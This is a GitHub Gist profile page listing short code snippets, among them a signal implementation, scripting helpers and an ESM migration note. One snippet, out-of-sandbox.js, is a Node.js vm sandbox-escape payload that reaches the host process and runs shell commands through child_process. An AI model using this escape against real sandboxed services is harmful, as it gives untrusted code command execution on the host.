Skip to content

Instantly share code, notes, and snippets.

coding bugs ...

Viki vikiboss

coding bugs ...
View GitHub Profile
vikiboss / mini-signal.ts
Created March 23, 2023 02:46
mini signal implement
View mini-signal.ts
let currentListener: Function | undefined = undefined
function createSignal<T>(initialValue: T) {
let value = initialValue
const subscribers = new Set<Function>()
const read = () => {
if (currentListener !== undefined) {
vikiboss /
Created February 15, 2023 07:36 — forked from MadeBaruna/
Get Genshin Impact wish history link
vikiboss / out-of-sandbox.js
Last active February 14, 2023 04:14
View out-of-sandbox.js
this.constructor.constructor('return process')().mainModule.constructor._load('child_process').execSync('ls');
var exec = this.constructor.constructor;
var process = exec('return process')();
var require = process.mainModule.constructor._load;
var execSysCmd = require('child_process').execSync;
// process.exit();
vikiboss / offer.mjs
Created October 9, 2022 05:48
Offer Show Scripts
View offer.mjs
// usage: node --no-warnings offer.mjs 米哈游 前端
const args = process.argv.slice(2);
const js_code = ''; // get by wx.login method in WeChat
const api = '';
const silentLogin = async (js_code) => {
const res = await fetch(`${api}/silent_login`, {
method: 'POST',
vikiboss /
Created September 19, 2022 01:06 — forked from sindresorhus/
Pure ESM package

Pure ESM package

The package linked to from here is now pure ESM. It cannot be require()'d from CommonJS.

This means you have the following choices:

  1. Use ESM yourself. (preferred)
    Use import foo from 'foo' instead of const foo = require('foo') to import the package. You also need to put "type": "module" in your package.json and more. Follow the below guide.
  2. If the package is used in an async context, you could use await import(…) from CommonJS instead of require(…).
  3. Stay on the existing version of the package until you can move to ESM.
vikiboss / index.js
Last active December 6, 2020 11:10
a demo code for npx test that run code from url
View index.js
#!/usr/bin/env node
console.log("hello noder")